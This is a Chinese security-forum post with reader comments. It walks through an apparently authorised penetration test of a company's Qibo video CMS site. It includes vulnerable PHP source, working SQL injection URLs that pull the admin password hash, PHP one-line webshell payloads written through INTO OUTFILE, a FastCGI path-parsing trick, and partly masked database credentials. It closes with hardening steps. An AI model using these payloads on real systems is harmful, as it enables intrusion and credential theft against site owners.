用户
搜索
  • TA的每日心情
    开心
    2018-7-30 13:40
  • 签到天数: 34 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    54

    主题

    103

    帖子

    937

    魔法币
    收听
    0
    粉丝
    12
    注册时间
    2015-11-20

    i春秋签约作者

    发表于 2017-8-10 15:16:41 89776
    本帖最后由 阿甫哥哥 于 2017-8-14 17:22 编辑

    simeon
    本次渗透是来自一个实际项目,需要发现漏洞,由于被检测对象是大公司,因此主站漏洞的发现相对困难一些,而对其下属企业或者子域名站点存在漏洞的可能性会高一些。通过对服务器进行端口扫描,发现服务器开放端口较少,对网站系统进行自动扫描,也未发现可供利用的漏洞,通过经验结合系统存在的漏洞进行挖掘,最终获取了服务器权限

    1.1信息收集
       1.扫描端口
    使用zenmap124.***.***.***进行全端口扫描,其扫描结果显示主机关闭,判断服务器端应该有安全防护使用Intense scan no ping”扫描方式,如图1所示,服务器开放80808049154端口,从扫描信息判断服务器采用Windows2008.
    由视频系统SQL注入到服务器权限339.png

    2.反查域名
       http://www.yougetsignal.com/tools/web-sites-on-web-server/中对该IP地址进行域名反查,如图2所示,获取该IP地址下有6个域名。
    由视频系统SQL注入到服务器权限455.png
    1.2扫描网站
       使用Acunetix Web Vulnerability Scanner进行漏洞扫描,如图3所示,虽然发现有XSS漏洞以及Js漏洞,但无可以直接利用的高危漏洞。通过扫描结果可以发现一些信息,例如网站目录和存在的脚本文件。对目标进行扫描,可以使用多个扫描器进行交叉扫描。
    151717i7ahzuxmxf7q1a7f.png
    1.3针对cms系统寻找漏洞
    通过扫描器未发现高危或者可供利用的漏洞,因此只能根据经验和手工来寻找漏洞。如图4所示,目标网站底部位置发现有“Powered by qibosoft V1.0 Code © 2003-10 qibosoft”,可以确认是采用齐博的CMS,结合网站内容,判断为齐博视频CMS系统,从互联网上去下载了一套齐博视频CMS系统到本地进行分析。
    由视频系统SQL注入到服务器权限810.png
    齐博视频CMS1.0版本存在SQL注入,前提条件是需要注册一个用户,然后执行添加专题,然后执行SQL查询获取管理员密码。
    1.后台地址
    http://www.********.com/do/login.php
    http://www.********.com/admin/[/url]
    2.存在跨站漏洞
    3.存在SQL注入漏洞
    代码文件video/member/special.php中的{$TB_pre}未初始化,由于qibo存在伪全局变量注册,所以造成了sql注入,其代码如下:
    [AppleScript] 纯文本查看 复制代码
    elseif($job=="show_BBSiframe"){
    $rsdb=$db->get_one("SELECT * FROM {$_pre}special WHERE uid='$lfjuid' AND id='$id'");
    if(!$rsdb){        showerr("资料不存在",1);        }
    //专题内的贴子排序
    if($act=="order")
    {
    unset($array);
    foreach( $listdb AS $aid=>$list){
    $list=$list*1000000+$aid;
    $array[$list]=$aid;
    }
    ksort($array);
    $rsdb[tids]=implode(",",$array);
    $db->query("UPDATE {$_pre}special SET tids='$rsdb[tids]' WHERE uid='$lfjuid' AND id='$id'");
    }
    //添加贴子到专题
    if($act=="add"&&$aid)
    {
    unset($_detail);
    $detail=explode(",",$rsdb[tids]);
    if(count($detail)>100){
    showerr("记录已到上限!",1);
    }
    if(!in_array($aid,$detail)){
    if($detail[0]==''){unset($detail[0]);}
    $_detail[a]=$aid;
    $rsdb[tids]=$string=implode(",",array_merge($_detail,$detail));
    $db->query("UPDATE {$_pre}special SET tids='$string' WHERE uid='$lfjuid' AND id='$id'");
    }
    }
    //移除专题里的贴子
    if($act=="del"&&$aid)
    {
    $detail=explode(",",$rsdb[tids]);
    foreach( $detail AS $key=>$value){
    if($value==$aid){unset($detail[$key]);}
    }
    $rsdb[tids]=$string=implode(",",$detail);
    $db->query("UPDATE {$_pre}special SET tids='$string' WHERE uid='$lfjuid' AND id='$id'");
    }
    //$type=='all'初始化列出专题里的贴子,$type=="list_atc"删除与添加时列出专题里的贴子
    if($type=="list_atc"||$type=='all')
    {
    unset($_listdb,$show);
    $detail=explode(",",$rsdb[tids]);
    $string=0;
    foreach( $detail AS $key=>$value){
    if($value>0){$string.=",$value";}
    }
    if(ereg("^pwbbs",$webdb[passport_type])){
    $query = $db->query("SELECT * FROM {$TB_pre}threads WHERE tid IN ($string)");
    while($rs = $db->fetch_array($query)){
    $rs[subject]="<a href='$webdb[passport_url]/read.php?tid=$rs[tid]' target=_blank>$rs[subject]</a>";
    $_listdb[$rs[tid]]=$rs;
    }
    }
    $aidsdb=explode(",",$rsdb[tids]);
    $NUM=0;
    foreach($aidsdb AS $key=>$value){
    $NUM++;
    if($_listdb[$value]){
    $show.="<tr align='center' class='trA' onmouseover=\"this.className='trB'\" onmouseout=\"this.className='trA'\">
                    <td width='5%'>{$_listdb[$value][tid]}</td>
                    <td width='74%' align='left'>{$_listdb[$value][subject]}</td>
    <td width='10%'><input type='text' name='listdb[{$value}]' size='5' value='{$NUM}0'></td>
                    <td width='11%'><A HREF='special.php?job=show_BBSiframe&id=$id&type=list_atc&act=del&aid={$_listdb[$value][tid]}' target='spiframe'>移除</A></td>
                  </tr>";
    }
    }
    $show="<table width='100%' border='0' cellspacing='1' cellpadding='3'>
                  <tr align='center' bgcolor='#eeeeee'>
                    <td width='5%'>ID</td>
                    <td width='74%'>标 题</td>
      <td width='10%'>排序值</td>
                    <td width='11%'>移除 </td>
      $show
                  </tr>
                </table>";
    $show=str_replace("\r","",$show);
    $show=str_replace("\n","",$show);
    $show=str_replace('"','\"',$show);
    echo "<SCRIPT LANGUAGE='JavaScript'>
    <!--
    parent.document.getElementById('sp_atclist').innerHTML=\"$show\";
    //-->
    </SCRIPT>";
    }
    if($type=='myatc'||$type=='all')
    {
    $detail=explode(",",$rsdb[tids]);
    $show='';
    if($page<1){$page=1;        }
    $rows=15;
    $min=($page-1)*$rows;
    if($keywords){//搜索时
    $SQL=" BINARY subject LIKE '%$keywords%' ";
    }elseif($ismy){
    $SQL=" authorid='$lfjuid' ";
    }else{
    $SQL=' 1 ';
    }
    if($fid>0){
    $SQL.=" AND fid='$fid' ";
    }
    $showpage=getpage("{$TB_pre}threads","WHERE $SQL","",$rows);
    $query = $db->query("SELECT * FROM {$TB_pre}threads WHERE $SQL ORDER BY tid DESC LIMIT $min,$rows");
    1.4取得突破
    1.获取注册会员信息
    分别访问http://www.********.com/member/homepage.php?uid=2http://www.********.com/member/homepage.php?uid=1获取当前系统注册帐号adminaaaaaa。如图5所示。
    由视频系统SQL注入到服务器权限4707.png
    2.猜测会员帐号密码
    对会员帐号aaaaaa进行密码猜测,其密码为aaaaaa,使用该密码进行登录,并在后台寻找专题,添加一个专题。获取其专题地址:
    http://www.********.com/video/showsp.php?fid=1&id=12[/url]
    3.获取不全管理员密码
    构造SQL注入地址获取管理员密码,执行效果如图6所示:
    http://www.********.com/member/special.php?job=show_BBSiframe&type=myatc&id=12&TB_pre=qb_module where 1=1 or 1=updatexml(2,concat(0x7e,((select concat(username,0x5c,password) from qb_members limit 0,1))),0) %23
    由视频系统SQL注入到服务器权限5164.png
    4.使用right函数获取剩余密码字段
       虽然第一次获取了admin的密码0e8c338ca961a1da946cc6a28但位数不对,获取密码位数为25,真实密码是md5加密,是32位,通过right(password,15)来获取剩余的密码串,如图7所示,成功获取剩余字符串。
    http://www.********.com/video/member/special.php?job=show_BBSiframe&type=myatc&id=12&TB_pre=qb_module%20where%201=1%20or%201=updatexml(2,concat(0x7e,((select%20concat
    (right(password,15))%20from%20qb_members%20limit%200,1))),0)%20%23
    管理员密码第一次获取:0e8c338ca961a1da946cc6a28
    管理员密码第二次获取:46cc6a2802fc1ee
    找到重复字段组合获取其完整密码:0e8c338ca961a1da946cc6a2802fc1ee
    由视频系统SQL注入到服务器权限5668.png
    5.获取管理员密码
    通过cmd5.com破解0e8c338ca961a1da946cc6a2802fc1ee获取管理员admin的密码“xdjzh”,使用该密码进行后台登陆,并查看服务器信息,在浏览器中打开地址http://www.********.com/admin/index.php?lfj=center&job=phpinfo,如图8所示,成功获取网站的真实路径地址:D:/phpweb/video
    由视频系统SQL注入到服务器权限5889.png
    1.5获取webshell
       1.执行SQL查询导出一句话后门
       单击系统功能-数据库工具-运行SQL语句代码,在查询语句中执行一下代码:
    select '<?php @eval($_POST[t]);?>' INTO OUTFILE 'D:/phpweb/video/stttt.php'
    执行后,访问网站,网站提示不存在该文件,后续更好地址执行:
    select '<?php @eval($_POST[t]);?>' INTO OUTFILE 'D:/phpweb/video/upload_files/s.php'
    select '<?php @eval($_POST[t]);?>' INTO OUTFILE 'D:/phpweb/upload_files/icons/s.php'
      执行后显示语句执行成功,如图9所示,但访问对应的地址均显示错误,无法获取webshell,猜测可能是存在杀毒软件或者无写入权限。
    由视频系统SQL注入到服务器权限6328.png
    2.查看服务信息
       通过查看服务器信息,发现服务器其开启了Fastcgi,操作系统是IIS7,其可能存在解析漏洞,果断通过admin个人资料中上传一句话后门图片文件,然后访问地址:
    http://www.********.com/upload_files/icon/1.jpg/1.php
       网页显示正常,通过中国菜刀一句话后门成功获取Webshell,如图10所示。
    由视频系统SQL注入到服务器权限6600.png
    小知识:
    1.FastCGI解析漏洞WebServer Fastcgi配置不当,会造成其他文件(例如cssjsjpg等静态文件)被当成php脚本解析执行。当用户将恶意脚本webshell改为静态文件上传到webserver传递给后端php解析执行后,会让攻击者获得服务器的操作权限。
    2.测试是否存在漏洞
    服务器上根目录新建一个phpinfo()JPG文件test.jpg,访问http://www.xxx.com/test.jpg/1.php(test.jpg后面的php名字随便写),如果有漏洞则可以看到phpinfo()的信息,反之会返回404错误。
    1.6获取系统权限
    1.获取3389端口信息
      1)获取服务TermService所在进程号:
    tasklist /svc | findstr TermService
    结果:svchost.exe    2212 TermService
    2)获取PID2212所对应的端口                                
       netstat -ano | findstr 2212
       结果为13389
    2.获取数据库密码
       通过webshell查看数据库配置文件D:/phpweb/video/data/mysql_config.php获取其Mysql密码为123456,同时还获取内网服务器192.168.0.218的数据库密码信息:
                    $dbHost        =        "192.168.0.218";
                    $dbUser        =        "dataUser111";
                    $dbPsw        =        "ZLBVA9C********";
                    $dbName        =        "*****";
    由视频系统SQL注入到服务器权限7345.png
    3.当前权限为系统权限
       通过webshell打开命令终端,如图12所示可以直接添加管理员帐号,为系统权限。
    由视频系统SQL注入到服务器权限7417.png
    由于是实际项目,拿到服务器权限后就未做更进一步的测试,按照思路是可以继续逐个深入渗透的。
    1.7安全加固措施
    1.删除测试帐号aaaaaa
    2.修改管理员密码
    3.禁止网站会员注册
    4.严格设置网站目录权限
    5.设置fastcgi
    配置webserver关闭cgi.fix_pathinfo0或者配置webserver过滤特殊的php文件路径例如:
    if ( $fastcgi_script_name ~ ..*/.*php )
    {
    return 403;
    }

    评分

    参与人数 1魔法币 +1 收起 理由
    半夜鬼渊 + 1 很好的实战经验,谢谢作者分享.

    查看全部评分

    本帖被以下淘专辑推荐:

    做攻防实战安全理论体系建设
    http://blog.51cto.com/simeon
    安天365技术交流2群: 647359714
    发表于 2017-8-17 22:18:22
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!
    奖金
    点评
    50
    很完整的一套渗透测试流程,内容虽简单,但思路和测试流程值得新手借鉴。


    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复
    楼主打吗失误已经泄漏域名了
    使用道具 举报 回复
    发表于 2017-8-10 17:20:28
    楼主可以的,虽然有点顺风顺风,但是没点功底是不可能这么顺的。
    使用道具 举报 回复
    onls辜釉 i春秋作家 春秋认证√作家团颜值担当 i春秋认证 秦 春秋文阁 i春秋签约作者
    地板
    发表于 2017-8-11 09:23:09
    不错不错,
    信息安全菜鸟/社会主义接班人
    使用道具 举报 回复
    难道aaaaaa的密码已经改过?
    使用道具 举报 回复
    文章写的不错
    使用道具 举报 回复
    写的好细啊膜拜
    使用道具 举报 回复
    发表于 2018-9-17 10:35:32
    学习一下~
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册